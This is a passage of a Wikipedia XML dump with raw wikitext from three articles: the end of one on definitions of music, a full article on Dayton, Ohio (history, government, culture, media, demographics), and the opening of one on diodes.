Less commonly held is the cognitive definition of music, which argues that music is not merely the sound, or the perception of sound, but a means by which perception, action and memory are organized. This definition is influential in the [[cognitive science]]s, which search to locate the regions of the [[brain]] responsible for parsing or remembering different aspects of musical experience. This definition would include [[dance]]. The [[Boulanger]]s established a school of thought centered around this concept which included the idea of [[eurhythmics (musical expression)|eurhythmics]], which is gesture guided by music.

==Music as language==
Many definitions of music implicitly hold that music is a communicative activity which conveys to the listener moods, emotions, thoughts, impressions, or philisophical, sexual, or political concepts or positions.  &quot;Musical language&quot; may be used to mean style or genre, while music may be treated as language without being called such, as in [[Fred Lerdahl]] or others' analysis of musical [[grammar]].  [[Levi R. Bryant]] defines music not as a language, but as a marked-based, problem-solving method such as mathematics (Ashby 2004, p.4).

Because of its ability to communicate, music is sometimes described as the &quot;universal language&quot;. Yet the &quot;meaning&quot; of music is obviously culturally mediated. For example, in Western society, minor chords are often perceived as &quot;sad&quot;, an understanding other cultures rarely share.

There is significant complexity in the structural elements of music which warrant the perception of music as a language. For example, genres of music can be characterized by the manner in which sound and silence are articulated, organized, and disseminated. The composition of these elements gives rise to a system which is on par with the complexities and subtleties of 'language'.

==Change==
Musical change, stylistically, is thought of both as inevitable and necessary, or at least beneficiary in European influenced classical music and much popular music, while in classical Iranian culture music is thought to be complete, new creations are variations and rearrangements of old ones or parts of. Some classical composers seek to create innovative works in prexisting genres and forms, while other seek to break the mold. Indian classical is thought to change little and valued for that quality, while great changes between different improvised performances are equally valued. In folk, jazz, and some popular music variation and reinterpretation of traditional or received materials is valued, while in some popular music, such as progressive rock, for example, inspired individual or group innovation is sought for. The European classical canon is valued for its unchanging timeless, [[ahistorical]], nature.(Nettl, 1989)

==Tripartite definition==
&quot;Music, often an [[art]]/[[entertainment]], is a [[total social fact]] whose definitions vary according to [[era]] and [[culture]],&quot; according to [[Jean Molino]].&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt; It is often contrasted with [[noise (environmental)|noise]]. According to musicologist [[Jean-Jacques Nattiez]]: &quot;The border between music and noise is always culturally defined&amp;mdash;which implies that, even within a single society, this border does not always pass through the same place; in short, there is rarely a consensus.... By all accounts there is no ''single'' and ''intercultural'' universal concept defining what music might be.&quot;&lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;

Given the above demonstration that &quot;there is no limit to the number or the genre of variables that might intervene in a definition of the musical,&quot;&lt;sup&gt;[[#Notes|3]]&lt;/sup&gt; an organization of definitions and elements is necessary.

Nattiez&lt;sup&gt;[[#Notes|4]]&lt;/sup&gt; describes definitions according to a [[tripartite]] semiological scheme similar to the following:
{|
|colspan=3|Poietic Process
|colspan=2|Esthesic Process
|-
|Composer (Producer)
| &amp;rarr;
|Sound (Trace)
| &amp;larr;
|Listener (Receiver)
|}

There are three levels of description, the poietic, the neutral, and the esthesic:
*&quot;&lt;!-- If musical semiology's sole contribution were replacing what everybody calls &quot;composition&quot; and &quot;perception&quot; with barbarou neologisms like 'poietic' and 'esthesic', then semiology would entail risibly small profits. There is, of course, more to it than that. --&gt; By 'poietic' I understand describing the ''link'' among the composer's intentions, his creative procedures, his mental schemas, and the ''result'' of this collection of strategies; that is, the components that go into the work's material embodiment. Poietic description thus also deals with a quite special form of hearing (Varese called it 'the interior ear'): what the composer hears while imagining the work's sonorous results, or while experimenting at the piano, or with tape.&quot; 
*&quot;By 'esthesic' I understand not merely the artificially attentive hearing of a musicologist, but the description of perceptive behaviors within a given population of listeners; that is how this or that aspect of sonorous reality is captured by their perceptive strategies.&quot; (Nattiez 1990:90)
*The neutral level is that of the physical &quot;trace&quot;, (Saussere's sound-image, a sonority, a score), created and interpreted by the esthesic level (which corresponds to a perceptive definition; the perceptive and/or &quot;social&quot; construction definitions below) and the poietic level (which corresponds to a creative, as in compositional, definition; the organizational and social construction definitions below).

Table describing types of definitions of music:
{|border=1|
|
| '''poietic level&lt;br/&gt;(choice of the composer)'''
| '''neutral level&lt;br/&gt;(physical definition)'''
| '''esthesic level&lt;br/&gt;(perceptive judgment)'''
|-
| '''music'''
| musical sound
| sound of the&lt;br/&gt;harmonic&lt;br/&gt;spectrum
| agreeable sound
|-
| '''nonmusic'''
| noise&lt;br/&gt;(nonmusical)
| noise&lt;br/&gt;(complex sound)
| disagreeable&lt;br/&gt;noise
|}
:(Nattiez 1990, p.46)

Because of this range of definitions, the study of music comes in a wide variety of forms. There is the study of sound and [[vibration]] or [[acoustics]], the cognitive study of music, the study of [[music theory]] and performance practice or music theory and [[ethnomusicology]] and the study of the reception and history of music, generally called [[musicology]].

==Notes==
# Molino, 1975: 37 
# Nattiez, 1990: p.47-8,55
# Molino, 1987: 42 
# derived from Nattiez, 1990: p. 17; see [[sign (semiotics)]]

==Sources==
* [[Jean Molino|Molino, Jean]] (1975). &quot;Fait musical et sémiologue de la musique&quot;, ''Musique en Jeu'', no. 17:37-62.
*[[Nettl, Bruno]] (1989). ''[[Blackfoot Musical Thought: Comparative Perspectives]]''. Ohio: The Kent State University Press. ISBN 0873383702
*Nattiez, Jean-Jacques (1987). ''Music and Discourse: Toward a Semiology of Music'' (''Musicologie générale et sémiologue'', 1987). Translated by Carolyn Abbate (1990). ISBN 0691027145.
**Robertson-De Carbo, C. E. (1976). &quot;''Tayil'' as Category and Communication among the Argentine Mapuche: A Methodological Suggestion&quot;, ''1976 Yearbook of the International Folk Music Council'', 8, p.35-42.
**Sakata, Lorraine (1983). ''Music in the Mind, The Concepts of Music and Musicians in Afghanistan''. Kent: Kent State University Press.
*[[R. Murray Schafer]]. &quot;[[Music and the Soundscape]],&quot; included in ''Classic Essays on Twentieth-Century Music'', ISBN 0028645812.
*Ashby, Arved, ed. (2004). &quot;Introduction&quot;, ''The Pleasure of Modernist Music''. ISBN 1580461433.

==External links==
{{wikiquote}}
*[http://www.cobussen.com/proefschrift/300_john_cage/310_what_is_music/what_is_music.htm What is Music?] A brief sketch of some definitions found throughout history by Marcel Cobussen
*[http://www.MusicNovatory.com MusicNovatory.com] The Science of Music, a generative music theory

[[Category:Music]]
[[Category:Semantics]]</text>
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    <title>Dayton, Ohio</title>
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      <text xml:space="preserve">[[Image:Dayton-ohio-skyline.jpg|thumb|300px|Skyline of Dayton from the north, across the Great Miami River.]]

'''Dayton''' is a city in southwestern [[Ohio]], [[United States]] with a population of 166,179 ([[2000]]). It is the county seat and largest city of [[Montgomery County, Ohio|Montgomery County]]. The '''Greater Dayton area''' or '''Dayton metropolitan area''' encompasses a number of contiguous communities outside Dayton city proper, including [[Vandalia, Ohio|Vandalia]], [[Trotwood, Ohio|Trotwood]], [[Kettering, Ohio|Kettering]], [[Centerville, Montgomery County, Ohio|Centerville]] and [[Beavercreek, Ohio|Beavercreek]], with a population of 848,153 ([[2000]]). Dayton is situated within the [[Miami Valley (Ohio)|Miami Valley region]] of Ohio, just north of the [[Cincinnati, Ohio|Cincinnati]] [[United States metropolitan area|metropolitan area]].  

Dayton plays host to significant [[industry|industrial]], [[aerospace]], and [[research and development|research]] activity and is known for the many technical innovations and inventions developed there.  The city was the home of the [[Wright Brothers]], poet [[Paul Laurence Dunbar]], and entrepreneur [[John Henry Patterson (NCR owner)|John H. Patterson]]. Dayton is nicknamed the '''Gem City''', and is also sometimes referred to as the &quot;Birthplace of Aviation.&quot; 

Dayton Sister Cities International supports efforts for business and cultural development in [[Augsburg, Germany]]; [[Oiso, Kanagawa|Oiso, Japan]]; [[Monrovia|Monrovia, Liberia]]; [[Holon|Holon, Israel]] and [[Sarajevo|Sarajevo, Bosnia and Herzegovina]].

{{Template:US City infobox|
 city = Dayton |
 state = Ohio |
 motto = |
 nickname =  Gem City |
 flag = DaytonFlag.gif |
 seal = Dayton.jpg |
 map = OHMap-doton-Dayton.png |
 founded = [[April 1]], [[1796]] | 
 incorporated = [[1805]] |
 county = [[Montgomery County, Ohio|Montgomery County]] |
 mayor = [[Rhine McLin|Rhine L. McLin]] |
 area = 146.7 [[square kilometer|km&amp;sup2;]] (56.6 [[square mile|mi&amp;sup2;]]) |
 area water = 2.2 km&amp;sup2; (0.9 mi&amp;sup2;) |
 area percentage = 1.55%|
 census yr = 2000|
 city pop = 166,179|
 metro pop = 848,153|
 density = 1,150.3|
 time zone = Eastern|
 utc = 5|
 north_coord = 39.7627 |
 west_coord = 84.1967|
 web = www.ci.dayton.oh.us|
|}}

==Name and history==
Dayton was founded on [[April 1]], [[1796]] by a small group of [[United States|US]] settlers seven years before the admission of Ohio to the [[USA|Union]] in [[1803]].  The town was incorporated in [[1805]] and given its name after [[Jonathan Dayton]], a captain in the [[American Revolutionary War]] and signer of the [[United States Constitution|U.S. Constitution]].  Dayton was the home of [[aviation]] pioneers [[Wilbur Wright|Wilbur]] and [[Orville Wright]] who funded their aviation endeavors with the proceeds of a successful bicycle shop in Dayton. It was also the home of the poet [[Paul Laurence Dunbar]] and of [[John Henry Patterson (NCR owner)|John H. Patterson]] [http://www.libraries.wright.edu/special/manuscripts/ms236.html 1], who founded a successful [[cash register]] business in Dayton, [[National Cash Register Corporation]], or NCR, which eventually diversified and was corporation of great importance in the United States during the mid- to late-20th century.

In [[1797]], [[Daniel C. Cooper]] laid out the [[Mad River Road]], the first overland connection between [[Cincinnati, Ohio]] and Dayton.  This opened up the &quot;Mad River Country&quot; at Dayton and the upper Miami Valley to settlement.
[[image:Dayton 1870.JPG|thumbnail|200px|right|Dayton in 1870]]
The [[Miami and Erie Canal]] built in the 1830s connected the Dayton commerce from [[Lake Erie]] via the Great Miami River and served as the principal route of transportation for western Ohio until the 1850s.

The catastrophic ''Great Dayton Flood'' of March [[1913]] severely affected much of the city, and stimulated the growth of suburban communities outside central Dayton in areas lying further from the Miami River and on higher ground; the [[Miami Conservancy District]] was established in [[1914]] as a result. The flood remains an event of note in popular memory and local histories.

Dayton's primary nickname is the &quot;Gem City&quot;. The origin of the name is no longer clear; it appears to stem either from a well-known [[racehorse]] named &quot;Gem&quot; that hailed from Dayton, or from descriptions of the city likening it to a ''gem''. The most likely origin appears to be an 1840s article in a [[Cincinnati, Ohio|Cincinnati]] newspaper that reads 
:In a small bend of the Great Miami River, with canals on the east and south, it can be fairly said, without infringing on the rights of others, that ''Dayton is the gem of all our interior towns''. It possesses wealth, refinement, enterprise, and a beautiful country, beautifully developed.

&quot;...She shall ever claim our duty,

For she shines--the brightest gem

That has ever decked with beauty

Dear Ohio's diadem.&quot;

Paul Laurence Dunbar 1872-1906

(from his poem:&quot;Toast to Dayton&quot;)

The nickname &quot;Birthplace of Aviation&quot; is also frequently seen due to Dayton being the hometown of the Wright Brothers. In their bicycle shop in Dayton, the Wrights developed the principles of aerodynamics, and designed and constructed a number of gliders and portions of their first airplanes. After their first manned flights in [[Kitty Hawk, North Carolina]], the Wrights continued testing at nearby [[Huffman Prairie]]. [http://www.nasm.si.edu/wrightbrothers/fly/1904/index.cfm]

===Notable facts===
The city has a rich heritage of inventions and innovations, with more patents per capita than any other city in the nation.  Some of these inventions include the stepladder, microfiche, cellophane tape, pop top beverage cans, the movie projector, space food, parking meters, the airplane supercharger, the automobile self-starter, gas masks, and the parachute.  

Dayton has received the [[All-America City Award]] three times.

The first All-American [[Soap Box Derby]] was held in Dayton on [[August 19]], [[1934]].

==Political structure==
[[Image:Dayton-ohio-city-hall.jpg|thumb|300px|Dayton City Hall.]]

In [[1913]], Dayton became the first large city in the United States to adopt the [[Council-Manager government|council-manager system of city government]]. In this system, the mayor is merely the chairperson of the city commission and has one vote on the commission just like the other commissioners. The commission chooses a city manager, who holds administrative authority over the city government.

As of January 2006:

'''Dayton City Commission:'''
*'''Mayor''' [[Rhine McLin|Rhine L. McLin]] (D)
*[[Dean Lovelace|Dean A. Lovelace]] (D)
*[[Joey Williams|Joey D. Williams]] (D)
*[[Matt Joseph]] (D)
*[[Nan Whaley]] (D)
*'''City Manager''': [[James T. Dinneen]]

[[Image:Dayton-ohio-courthouse-old.jpg|thumb|300px|Old county courthouse, an example of [[Greek revival architecture]]; completed 1850.]] [[Image:Dayton-ohio-war-memorial.jpg|thumb|250px|Civil War memorial in Dayton, Ohio. Electric trolley bus cables are visible in the photo.]]
'''Dayton Municipal Court'''
*'''Clerk of Courts''': [[Mark Owens]] (D)
*Presiding Judge [[John S. Pickrel]] (D)
*Administrative Judge [[James F. Cannon]] (D)
*Judges:
**[[Daniel G. Gehres]] (D)
**[[Bill C. Littlejohn]]
**[[Carl S. Henderson]] (D)

'''Dayton Public Schools Board of Education'''
*[[Gail A. Littlejohn]], president
*[[Yvonne V. Isaacs]], vice president
*[[Clayton R. Luckie III]], parliamentarian
*[[Joe Lacey]]
*[[Ann Marie Gallin]]
*[[Lelia Massoud]]
*[[Tracy L. Rusch]]

*[[List of mayors of Dayton, Ohio]]
*[[List of City Commissioners of Dayton, Ohio]]
*[[Election Results, Mayor of Dayton, Ohio]]
*[[Election Results, Mayor of Dayton, Ohio (Primary Election)]]
*[[Election Results, Dayton, Ohio, City Commission]]
*[[Election Results, Dayton, Ohio, City Commission (Primary Election)]]
*[[Election Results, Dayton, Ohio, Municipal Court Judge]]
*[[Election Results, Dayton, Ohio, Municipal Court Clerk]]

===Urban design and architecture===
Unlike many [[Midwest]]ern cities of its age, Dayton has very broad and straight downtown streets (generally two full lanes in each direction), facilitating access to the downtown even after the automobile became popular. The main reason for the broad streets was that Dayton was a marketing and shipping center from its beginning: streets were broad to enable wagons drawn by teams of three to four pairs of oxen to turn around. In addition, some of today's streets were once barge canals flanked by draw-paths.

A courthouse building was constructed in downtown Dayton in [[1888]] to supplement Dayton's original [[Neoclassical architecture|Neoclassical]] courthouse, which still stands. This second, &quot;new&quot; courthouse has since been replaced with new facilities as well as a park.

Dayton's nine historic neighborhoods &amp;mdash; Oregon, Wright-Dunbar, Dayton View, Grafton Hill, McPherson Town, Webster Station, Huffman, Saint Anne's Hill, and South Park &amp;mdash; feature mostly single-family houses and mansions in the Neoclassical, [[Jacobethan]], [[Tudorbethan architecture|Tudor Revival]], [[Gothic Revival architecture|English Gothic]], [[Chateauesque]], [[Arts and Crafts movement|Craftsman]], [[Queen Anne Style architecture|Queen Anne]], [[Georgian Revival architecture|Georgian Revival]], [[Colonial Revival architecture|Colonial Revival]], [[Renaissance Revival architecture|Renaissance Revival]], [[Shingle Style architecture|Shingle]], [[Prairie School|Prairie]], [[Mission Revival Style architecture|Mission Revival]], [[Italianate|Eastlake/Italianate]], [[American Foursquare]], and [[Federal architecture|Federal]] styles of architecture.[http://www.preservationdayton.com/Pages/neighbors2.asp]

== Dayton Peace Accords ==
The [[Dayton Agreement]], a peace accord between the parties to the hostilities of the [[Yugoslav wars|conflict in Bosnia and the former Yugoslavia]], was negotiated in the Dayton area. From [[November 1]], [[1995]] to [[November 21]], [[1995]], negotiations took place at [[Wright-Patterson Air Force Base]] near Dayton.

==Cultural and recreational activities==
Dayton is home to the [[Dayton Art Institute]], a museum of fine arts.  The [[National Museum of the United States Air Force]] is at nearby Wright-Patterson Air Force Base. 

The [[Dayton Aviation Heritage National Historical Park]] commemorates the lives and achievements of Dayton natives, Orville and Wilbur Wright and Paul Laurence Dunbar.

[[SunWatch Indian Village|SunWatch Indian Village/Archaeological Park]] is located on the south end of Dayton.  SunWatch is the location of a 12th century American Indian village that has been partially reconstructed and includes a museum where visitors can learn about the Indian history of the Miami Valley.

Dayton is also home to the [[Schuster Center]] for the [[performing arts]] and the [[Victoria Theater]] which specialize in hosting concerts, traveling [[Broadway theatre|Broadway]] shows, and [[ballet]], completed in [[2004]].  The Schuster Center is also the home performance venue of the [[Dayton Philharmonic Orchestra]].

South of the city of Dayton is the [[Fraze Pavilion]] which hosts many nationally and internationally known musicians for concerts, located in the community of [[Kettering]].  Also south of downtown, on the banks of the [[Great Miami River]], is the [[University of Dayton Arena]], home venue for the [[University of Dayton]] Flyers basketball teams and the location of various other events and concerts.  North of Dayton is the [[Hara Arena]] and the [[Nutter Center]], venues that frequently host sporting events and concerts. The Nutter Center is the home arena for athletics of [[Wright State University]] and the [[Dayton Bombers]] [[ECHL]] hockey team.

[[Fifth Third Field]] is the home of the [[Dayton Dragons]] [[Minor League Baseball|minor league baseball]] team.

From 1996 to 1998, Dayton hosted the [[National Folk Festival (USA)|National Folk Festival]].

The Dayton Amateur Radio Association annually hosts North America's largest [[hamfest]] at [[Hara Arena]].  Amateur radio operators are commonly referred to as &quot;hams&quot; with as many as 25,000 traveling from around the world to attend this convention.

=== Adult amateur sports ===
Dayton has an [[amateur]] women's [[ice hockey]] team, the [http://www.daytonfangs.com/ Dayton Fangs], established in August 2005. The Gem City Rollergirls, a women's [[roller derby]] league, began forming in early 2006.

[[Image:Dayton-ohio-flyover-sculpture.jpg|thumb|300px|The sculpture ''Flyover'' (David Evans Black, 1996) on Main Street downtown. The sculpture tracks the path of the Wright Brothers first powered airplane flight.]]

==Media==
The principal general-circulation daily newspaper in the region is the ''[[Dayton Daily News]]'', which is owned by [[Cox Communications]]. ''[http://www.citizenusa.us/ Christian Citizen USA]'' (currently doing business as ''Citizen USA'') is a politically [[conservative]] newspaper with circulation in greater Dayton and its surrounding suburban communities.  The [http://www.daytoncitypaper.com Dayton City Paper] is a free weekly circulation newspaper.

===Television===
The Dayton metro area's broadcast television stations are as follows:
*[[WDTN]], Channel 2 – [[NBC]], operated by [[Lin TV]]
*[[WHIO-TV]], Channel 7 – [[CBS]], operated by [[Cox Communications]]
*[[WPTD]], Channel 16 – [[Public Broadcasting Service|PBS]], operated by [[ThinkTV]] (formerly known as ''Greater Dayton Public Television''), which also operates [[WPTO]], assigned to [[Oxford, Ohio]]
*[[WKEF]], Channel 22 – [[American Broadcasting Company|ABC]], operated by [[Sinclair Broadcasting]]
*[[WBDT]], Channel 26 – [[The WB Television Network|WB]]/[[I (TV network)|i]], operated by [[Acme Television]]
*[[WRGT]], Channel 45 – [[Fox Broadcasting Company|Fox]], operated under a local marketing agreement by [[Sinclair Broadcasting]]
The Dayton television market is ranked the #59 [http://www.nielsenmedia.com/DMAs.html Nielsen DMA] in the United States.

===Radio===
====AM format====
*WONE 980 – Sports/Talk
*WIZE 1340 – Sports/Talk (WONE repeater)
*WDAO 1210 – Black contemporary/soul music
*WHIO 1290 – News/Talk
*WING 1410 – [[ESPN Radio]]

====FM format====
*WDPR 88.1 – Dayton Public Radio (Classical)
*WCSU 88.9 – Urban Jazz and Gospel
*WCDR 90.3 - Christian/Inspirational, [[Cedarville University]], ([[Cedarville, Ohio]])
*WYSO 91.3 – [[National Public Radio]] ([[Yellow Springs, Ohio]])
*WROU 92.1 – Urban Contemporary
*WGTZ 92.9 – Top 40 Pop
*WFCJ 93.7 – Christian/Inspirational
*WDKF 94.5 – Top 40 Rhythmic Pop
*WZLR 95.3 – Classic Hits
*WDPT 95.7 – 1980s
*WHKO 99.1 – Modern Country
*WUDR 99.5 – University of Dayton Radio (plus a repeater at 98.1)
*WLQT 99.9 – Soft adult contemporary music
*WDHT 102.9 – Urban
*WXEG 103.9 – Modern Rock
*WTUE 104.7 – Classic Rock
*WDSJ 106.5 – Urban jazz
*WWSU 106.9 – Wright State University Radio
*WMMX 107.7 – Contemporary music

Some Cincinnati and other southwest Ohio radio and television stations can be received in parts of Dayton, as well.

==Public transportation==
The [[Greater Dayton Regional Transit Authority]] (RTA) operates public bus routes in the Dayton metro area. In addition to routes covered by traditional [[diesel]]-powered buses, RTA has a number of [[Trolleybus|electric trolley bus]] routes. In continuous operation since [[1888]], Dayton's is the longest-running of the six remaining trolley bus systems in the U.S.

Air transportation is available via the [[Dayton International Airport|James M. Cox Dayton International Airport]], located in nearby [[Vandalia, Ohio|Vandalia]], just north of Dayton proper.

[[Liberty Cab]] (in operation since 1929), [[Checker Cab]] and [[Airport Checker Cab]] all provide [[taxicab]] service throughout the Dayton metro area.

==Education==
Dayton is home to two major universities:  the [[University of Dayton]], a private, [[Roman Catholic Church|Catholic]]  institution founded in [[1850]] by the [[Society of Mary|Marianist order]], and the public [[Wright State University]], which became a state university in [[1967]]. The University of Dayton has the only [[American Bar Association]] (ABA) approved [[law school]] in the Dayton area, [http://www.law.udayton.edu UDSL]

Dayton is also home to one of the country's leading [[community college]]s, [[Sinclair Community College]] (founded as a YMCA college in 1887), located in central downtown Dayton. Miami Jacobs College is another [[junior college]] in Dayton.

==Notable Natives==
Actors
*[[Nancy Cartwright (actress)|Nancy Cartwright]], Voice of [[Bart Simpson]]
*[[Dorian Harewood]], Actor
*[[Allison Janney]], Actress 
*[[Gordon Jump]], Actor
*[[Chad Lowe]], Actor
*[[Rob Lowe]], Actor
*[[Gary Sandy]], Actor
*[[Martin Sheen]], Actor
*[[Jonathan Winters]], Actor/Comedian

Musicians
*[[Kim Deal]], Rock musician, member of [[Pixies]] and [[The Breeders]] with sister [[Kelley Deal]]
*[[Guided by Voices]], Rock Group, and singer [[Robert Pollard]]
*[[Roger Troutman]] and [[Zapp (band)|Zapp]], Musicians/Producers
*[[Brainiac (band)|Brainiac]], Rock Group, and singer [[John Schmersal]], who went on to form [[Enon]]
*[[Stevie Brock]], Pop Singer
*[[Dead Poetic]], Rock group
*[[Rick Derringer]], Rock musician
*[[Hawthorne Heights]], [[Emo (music)|Emo]] Group
*[[Lakeside]], [[Funk]] Group
*[[Ohio Players]], [[Funk]] Group
*[[Kim Richey]] [[Singer/Songwriter]]
*[[Slave (band)|Slave]], Funk Group

Athletes
*[[Roger Clemens]], Baseball player
*[[Marco Coleman]], NFL defensive tackle
*[[Ron Harper]], Baseketball Player
*[[Darrell Jackson]], NFL Wide Receiver 
*[[Edwin C. Moses]], Olympic Athlete, Track and Field
*[[Peerless Price]], [[NFL]] wide receiver
*[[Mike Schmidt]], Baseball Player
*[[Chris Spradlin]], Pro Wrestler better known as Chris Hero
*[[Dan Wilkinson]], [[NFL]] Defensive Tackle
*[[Tamika Williams]], Basketball player in the [[WNBA]]

Authors
*[[Erma Bombeck]], Nationally-known columnist and author
*[[Paul Laurence Dunbar]], Noted early African-American poet
*[[Joe Eszterhas]], Screenwriter -  [[Showgirls]], [[Basic Instinct]]
*[[Cathy Guisewite]], National Cartoonist
*[[Mike Jackson]], Author, TV personality, veterans advocate
*[[Mike Peters]], Nationally-syndicated opinion [[cartoonist]]

Entertainers
*[[Phil Donahue]], Talk show host 
*[[Mel Epstein]], Film producer

Entrepreneurs
*[[John Henry Patterson (NCR owner)|John H. Patterson]], Founder - National Cash Register
*[[Edward A. Deeds]], engineer, inventor, industrialist
*[[Charles Kettering]], Inventor - Automobile Self-Starter
*[[James Ritty]], Inventor - [[Cash Register]]
*[[Wright Brothers]], Inventors - Airplane

Politicians
*[[James Middleton Cox]], Congressman, [[Ohio]] governor, 1920 Democratic presidential candidate, founder of [[Cox Enterprises]]

== Geography ==
Dayton is located at 39&amp;deg;45'46&quot; North, 84&amp;deg;11'48&quot; West (39.762708, -84.196665){{GR|1}}. The city sits in the [[Miami Valley (Ohio)|Miami River Valley]], north of [[Cincinnati, Ohio|Cincinnati]], well south of [[Toledo, Ohio|Toledo]], south-west of [[Columbus, Ohio|Columbus]], and east of [[Richmond, Indiana|Richmond]], [[Indiana]], in the southwest quadrant of the state. Most official and government designations place it in ''west-central Ohio'' (a term which colloquially often refers to [[Lima, Ohio]]).  It is at the confluence of the [[Great Miami River]], the [[Stillwater River (Ohio)|Stillwater]] and [[Mad River (Ohio)|Mad]] rivers, and [[Wolf Creek]]. Area natives seldom use the phrase 'greater Dayton&quot;. They affectionately refer to the region as the Miami Valley, which is meant to mean all areas between the cities of [[Sidney]] and [[Middletown]] (north and south), and [[Springfield, Ohio|Springfield]] to the [[Indiana]] border (east west).

Following the flood of [[1913]], the [[Miami Conservancy District]] was established in [[1914]] to build [[dams]] and [[levee|levees]] and to [[dredge]] and straighten channels to control flooding of the Miami and surrounding rivers.

According to the [[United States Census Bureau]], the city has a total area of 146.7 [[square kilometre|km&amp;sup2;]] (56.6 [[square mile|mi&amp;sup2;]]).  144.5 km&amp;sup2; (55.8 mi&amp;sup2;) of it is land and 2.2 km&amp;sup2; (0.9 mi&amp;sup2;) of it is water.  The total area is 1.55% water.

== Demographics ==
:''Note:  the following demographic information applies only to the city of Dayton proper. For other Dayton-area communities, see their respective articles.''
As of the [[census]]{{GR|2}} of [[2000]], there are 166,179 people, 67,409 households, and 37,614 families residing in the city.  The [[population density]] is 1,150.3/km&amp;sup2; (2,979.4/mi&amp;sup2;).  There are 77,321 housing units at an average density of 535.2/km&amp;sup2; (1,386.3/mi&amp;sup2;).  The racial makeup of the city is 53.40% [[White (U.S. Census)|White]], 43.10%% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.30% [[Native American (U.S. Census)|Native American]], 0.65% [[Asian (U.S. Census)|Asian]], 0.04% [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.70% from [[Race (U.S. Census)|other races]], and 1.83% from two or more races.  1.58% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

===Households===
There are 67,409 households out of which 27.3% have children under the age of 18 living with them, 30.2% are [[Marriage|married couples]] living together, 20.6% have a female householder with no husband present, and 44.2% are non-families. 36.8% of all households are made up of individuals and 11.3% have someone living alone who is 65 years of age or older.  The average household size is 2.30 and the average family size is 3.04.

===Age structure and gender ratio===
The age structure of Dayton's population is: 
*under 18 years:  25.1% 
*18 to 24 years:  14.2%  
*25 to 44 year:  29.0% 
*45 to 64 years: 19.6%
*65 years of age or older:  12.0%
The median age is 32 years.  

For every 100 females there are 93.1 males, while for every 100 females age 18 and over, there are 89.6 males.

===Income===
The median income for a household in the city is $27,423, and the median income for a family is $34,978. Males have a median income of $30,816 versus $24,937 for females. The [[per capita income]] for the city is $15,547.  23.0% of the population and 18.2% of families are below the [[poverty line]].  Out of the total population, 32.0% of those under the age of 18 and 15.3% of those 65 and older are living below the poverty line.

== Points of interest ==
* [[Cox Arboretum and Gardens MetroPark]]
* [[Woodland Cemetery, Dayton, Ohio|Woodland Cemetery and Arboretum]]

=== Museums ===
*[[Boonshoft Museum of Discovery]]
*[[Carillon Historical Park]]
*[[Dayton Art Institute]]
*[[Dayton Aviation Heritage National Historical Park]]
*[[Dayton International Peace Museum]]
*[[Montgomery County Historical Society]]
*[[National Museum of the United States Air Force]]
*[[SunWatch Indian Village|SunWatch Indian Village/Archaeological Park]]
*[[Americas Packard Museum]]
== External links ==
*[http://www.ci.dayton.oh.us/ Official city website]
*[http://www.daytondailynews.com Dayton Daily News]
*[http://www.daytonmetrolibrary.org/ Dayton Metro Library]
*[http://www.daytonhistorybooks.com Dayton History Books Online]
*[http://www.dps.k12.oh.us Dayton Public Schools]
*[http://www.mvrta.org/ Greater Dayton RTA Bus Lines]
*[http://www.ncr.com/history/history.htm History of NCR]
*[http://www.med.wright.edu/visitors/nearby.html Visitors' information] (from Wright State University)
*[http://www.cr.nps.gov/history/online_books/daav/index.htm What Dreams We Have, The Wright Brothers and Their Hometown of Dayton, OH]
{{Mapit-US-cityscale|39.762708|-84.196665}}

{{Ohio}}

[[Category:All-America City]]
[[Category:Cities in Ohio]]
[[Category:County seats in Ohio]]
[[Category:Dayton, Ohio| ]]
[[Category:Montgomery County, Ohio]]

[[de:Dayton]]
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  </page>
  <page>
    <title>Diode</title>
    <id>8254</id>
    <revision>
      <id>41638215</id>
      <timestamp>2006-02-28T18:33:55Z</timestamp>
      <contributor>
        <username>Hurricane111</username>
        <id>99272</id>
      </contributor>
      <minor />
      <comment>rvv. [[Special:Contributions/216.16.232.98|216.16.232.98]] to last version by Hurricane111</comment>
      <text xml:space="preserve">[[Image:Diode-photo.JPG|thumb|right|270px|Types of diodes]]
In [[electronics]], a '''diode''' is a [[component]] that restricts the direction of movement of [[charge carrier]]s. It allows an [[electric current]] to flow in one direction, but essentially blocks it in the opposite direction. Thus the diode can be thought of as an electronic version of a [[check valve]].

The first diodes were [[vacuum tube]] devices (called ''[[valves]]'' in the UK), but today the most common diodes are made from ultrapure [[semiconductor]] materials such as [[silicon]] or [[germanium]].

The term was coined by [[William Henry Eccles]] in 1919 from [[Greek and Latin roots|Greek roots]]; ''di'' means 'two', and ''ode'' means 'path'. 

== [[Thermionic]] or gaseous state diodes ==
The first diodes were [[vacuum tube]] devices (also known as [[thermionic valve]]s), arrangements of electrodes surrounded by a vacuum within a glass envelope, similar in appearance to incandescent [[light bulb]]s.  The arrangement of a filament and plate as a diode was invented in [[1904]] by [[John Ambrose Fleming]] (scientific adviser to the [[Marconi Company]]) based on an observation by [[Thomas Edison]].  

In vacuum tube diodes, a current is passed through the [[cathode]], a [[filament]] treated with a mixture of [[barium]] and [[strontium]] [[oxide]]s, which are oxides of [[alkaline earth metal]]s. The current heats the filament, causing [[thermionic emission]] of electrons into the vacuum envelope. In forward operation, a surrounding metal electrode, called the [[anode]], is positively charged, so that it [[electrostatics|electrostatically]] attracts the emitted electrons. 
However, electrons are not easily released from the unheated anode surface when the voltage polarity is reversed and hence any reverse flow is a very small current.  

For much of the 20th century vacuum tube diodes were used in analog signal applications, and as rectifiers in power supplies. Today, tube diodes are only used in niche applications, such as rectifiers in tube guitar and hi-fi amplifiers, and specialized high-voltage equipment.

== [[Semiconductor]] diodes ==
[[Image:Diode symbol.png|right|]]
Most modern diodes are based on [[semiconductor]] [[p-n junction]]s.  In a p-n diode, [[conventional current]] can flow from the p-type side (the [[anode]]) to the n-type side (the [[cathode]]), but not in the opposite direction.
Another type of semiconductor diode, the [[Schottky diode]], is formed from the contact between a metal and a semiconductor rather than by a p-n junction.

